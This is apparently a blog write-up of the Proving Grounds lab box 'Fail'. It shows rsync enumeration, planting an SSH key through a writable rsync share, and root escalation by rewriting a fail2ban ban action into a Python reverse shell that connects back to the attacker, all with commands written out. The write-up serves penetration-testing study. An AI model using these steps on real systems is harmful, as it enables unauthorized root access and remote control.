Offensive Security – Proving Grounds – Fail Write-up

Offensive Security released the Linux machine Fail on January 28th 2021. The machine is rated intermediate by OffSec and hard by the community. I felt the box was more towards the easy end of intermediate. The machine requires a bit of knowledge using ssh keys for authentication and an application called fail2ban.

For those unfamiliar with fail2ban, I highly recommend checking it out or

                     __      _ _ ___ _               
                    / _|__ _(_) |_  ) |__  __ _ _ _  
                   |  _/ _` | | |/ /| '_ \/ _` | ' \ 
                   |_| \__,_|_|_/___|_.__/\__,_|_||_|
                   v1.0.1.dev1            20??/??/??

To start, we kick off autorecon on the target. Looking at the full scan.

kali@kali:~/oscp/offsec/fail/results/$ cat _full_tcp_nmap.txt 
# Nmap 7.91 scan initiated Sat Jan 30 20:50:32 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/oscp/offsec/fail/results/ -oX /home/kali/oscp/offsec/fail/results/
Nmap scan report for
Host is up, received user-set (0.085s latency).
Scanned at 2021-01-30 20:50:33 EST for 98s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
22/tcp  open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
|   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
873/tcp open  rsync   syn-ack (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Sat Jan 30 20:52:12 2021 -- 1 IP address (1 host up) scanned in 99.59 seconds

Based on the nmap, we know for sure we will be looking further into rsync. For that we will be using additional rsync enumeration using netcat.

kali@kali:~/oscp/offsec/fail/results/$ nc -vn 873
(UNKNOWN) [] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
fox             fox home

With netcat we can list out the current shares hosted with rsync. We see “fox” and “fox home”.

Using rsync we can list out the contents of the “fox” share with the -av –list-only options.

kali@kali:~/oscp/offsec/fail/results/$ rsync -av --list-only rsync://
receiving incremental file list
drwxr-xr-x          4,096 2021/01/21 09:21:59 .
lrwxrwxrwx              9 2020/12/03 15:22:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 00:12:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 00:12:36 .bashrc
-rw-r--r--            807 2019/04/18 00:12:36 .profile

sent 20 bytes  received 136 bytes  104.00 bytes/sec
total size is 4,562  speedup is 29.24

We see what looks like a user directory for the user fox. Lets pull down the files and take a look. Again we use the rsync command with the -av options and choose a target location.

kali@kali:~/oscp/offsec/fail/results/$ rsync -av rsync:// ./rsyncfiles
receiving incremental file list
created directory ./rsyncfiles
.bash_history -> /dev/null

sent 87 bytes  received 4,828 bytes  3,276.67 bytes/sec
total size is 4,562  speedup is 0.93

Bash history is useless since its linked to /dev/null. The other files also didn’t contain any useful information. At this point I found a method that could allow us to upload files using rsync. With that in mind, lets try and create key pair and see if we can SSH into the machine.

First, generate the private and public keys needed using the ed25519 algorithm.

kali@kali:~/oscp/offsec/fail/results/$ ssh-keygen -f ./authorized_keys -t ed25519
Generating public/private ed25519 key pair.
./authorized_keys already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./authorized_keys
Your public key has been saved in ./
The key fingerprint is:
SHA256:/MIJT869s7XwydKXAruLzaxQ/bEzjZP2y2NTqbMMFd4 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|             .   |
|       . .  . o  |
|      . S . .o E.|
|       O +...* ..|
|      . B +=@ oo |
|       . *+B=@*  |
|        o.O*=**+ |

Upload the .ssh folder containing the authorized_keys file with the public key contents.

kali@kali:~/oscp/offsec/fail/results/$ rsync -a --relativ
e ./.ssh  rsync://

If you receive the stout below, just chmod 600 the private key file.

kali@kali:~/oscp/offsec/fail/results/$ ssh -i authorized_keys fox@
Permissions 0766 for 'authorized_keys' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "authorized_keys": bad permissions

Now lets try and SSH into the target.

kali@kali:~/oscp/offsec/fail/results/$ sudo ssh -i authorized_keys fox@
[sudo] password for kali: 
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:TV71PEPS7AhnnK8K5GqGJm91acGTn5mr9GcVYS7rE1A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ whoami

Easy enough. We are the user fox so we should be able to grab the user flag.

$ cd /home
$ ls
fox  local.txt
$ cat local.txt

After grabbing the flag I immediately checked to see if the machine had wget. Luckily it does, so we can pull down the enumeration script. First, start the http server.

kali@kali:~/tools/privesc/linux/linux-smart-enumeration$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on port 80 ( ..

Next, wget the script.

$ wget
--2021-01-30 22:17:16--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 40579 (40K) [text/x-sh]
Saving to: ''                 100%[=========================>]  39.63K  --.-KB/s    in 0.1s    

2021-01-30 22:17:16 (294 KB/s) - '' saved [40579/40579]

Change the permissions on the file to add execution permissions. Kick off the script using the level 1 enumeration.

$ ./ -l 1                                                                          
If you know the current user password, write it here to check sudo privileges:           
 LSE Version: 3.0                                                                        
        User: fox                                                                        
     User ID: 1000                                                                       
    Password: none                                                                       
        Home: /home/fox                                                                  
        Path: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
       umask: 0022

    Hostname: fail
       Linux: 4.19.0-12-amd64
Distribution: Debian GNU/Linux 10 (buster)
Architecture: x86_64

==================================================================( users )=====
[i] usr000 Current user groups.....................

The most interesting findings from the script was the writable files.

[*] fst000 Writable files outside user's home.............................. yes!
/etc/fail2ban/action.d/npf.conf                                                [366/1858]

We see the ability to write to all of the action.d files for fail2ban. Lets see if fail2ban is running as root.

[*] pro020 Processes running with root permissions......................... yes!
22:20    24306     root /usr/bin/python3 /usr/bin/fail2ban-server -xf start
22:20    24060     root /usr/bin/python3 /usr/bin/fail2ban-client stop
22:20    24058     root /usr/bin/systemctl restart fail2ban
22:20    24056     root /bin/sh -c /usr/bin/systemctl restart fail2ban
22:20    24055     root /usr/sbin/CRON -f
22:19     1886     root /lib/systemd/systemd-udevd
22:19     1174     root /usr/bin/python3 /usr/bin/fail2ban-server -xf start
21:56      447     root /usr/sbin/inetutils-inetd
21:56      444     root /usr/sbin/sshd -D
21:56      442     root /sbin/agetty -o -p -- \u --noclear tty1 linux
21:56      422     root /usr/sbin/rsyslogd -n -iNONE
21:56      421     root /usr/bin/rsync --daemon --no-detach
21:56      419     root /usr/sbin/cron -f
21:56      417     root /lib/systemd/systemd-logind
21:56      411     root /usr/bin/vmtoolsd
21:56      410     root /usr/bin/VGAuthService
21:56      264     root /lib/systemd/systemd-udevd
21:56      246     root /lib/systemd/systemd-journald
21:56        1     root /sbin/init

Since fail to ban is running as root we have a decent shot at having fail2ban run a custom action based on the configuration located in action.d. First, lets check the configuration of the jail.conf.

# Action shortcuts. To be used to define action parameter

# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports

# The simplest action to take: ban only

Within the jail.conf we can see that banaction = iptables-multiport. This gives us a possible target to edit. Open the action.d/iptables-multiport.conf.

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
actionban = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",53));os.dup2(s.f
ileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD

Remove the action in the actionban = "" and replace it with a python reverse shell. Next, start the netcat reverse shell catcher.

kali@kali:~$ sudo nc -lvnp 53
[sudo] password for kali: 
listening on [any] 53 ...

Now attempted to SSH into the target and fail purposely multiple times. This should trigger the fail2ban action we just edited.

kali@kali:~/tools/privesc/linux/linux-smart-enumeration$ ssh fox@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:TV71PEPS7AhnnK8K5GqGJm91acGTn5mr9GcVYS7rE1A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
fox@'s password: 
Permission denied, please try again.
fox@'s password: 
Permission denied, please try again.
fox@'s password: 
fox@ Permission denied (publickey,password).

Looking back at the shell…..

kali@kali:~$ sudo nc -lvnp 53
[sudo] password for kali: 
listening on [any] 53 ...
connect to [] from (UNKNOWN) [] 54672

We have a root shell! Now to grab the flag.

root@fail:/# whoami
root@fail:/# cd /root
cd /root
root@fail:/root# ls
root@fail:/root# cat proof.txt
cat proof.txt

Offensive Security Proving Grounds has turned out to be a great platform for staying away from CTFish boxes. CTF boxes are fun, however you will not find those machine challenges as useful in the “real world”. Fail was an easy box to root, but provided a great look at the inner workings of Fail2Ban. Let me know if you run into any questions on this one.

Until next time, stay safe in the Trenches of IT!